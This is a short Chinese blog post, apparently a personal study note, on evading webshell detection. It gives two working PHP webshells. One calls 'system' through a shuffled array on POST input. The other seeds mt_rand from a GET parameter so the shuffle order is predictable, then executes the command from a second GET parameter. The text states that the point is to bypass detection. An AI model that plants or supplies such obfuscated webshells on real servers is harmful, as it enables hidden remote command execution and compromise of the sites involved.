记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
爱上好庆祝32 分钟前
svg图片
前端·css·学习·html·css3
嵌入式小企鹅1 小时前
蓝牙学习系列(八):BLE L2CAP 协议详解
网络·学习·蓝牙·ble·协议栈·l2cap
CV-杨帆2 小时前
ICLR 2026 LLM安全相关论文整理
人工智能·深度学习·安全
jiayong232 小时前
第 8 课:开始引入组合式函数
前端·javascript·学习
byoass2 小时前
csdn_upload_005
网络·安全·云计算
格鸰爱童话2 小时前
向AI学习项目技能(五)
java·学习
技术人生黄勇3 小时前
拆解 Hermes Agent:开源 Agent 里唯一的闭环学习系统
学习
凉、介3 小时前
别再把 PCIe 的 inbound/outbound、iATU 和 eDMA 混为一谈
linux·笔记·学习·嵌入式·pcie
speop4 小时前
TASK01 | Reasoning Kindom
学习
2301_822703204 小时前
鸿蒙flutter三方库实战——教育与学习平台:Flutter Markdown
学习·算法·flutter·华为·harmonyos·鸿蒙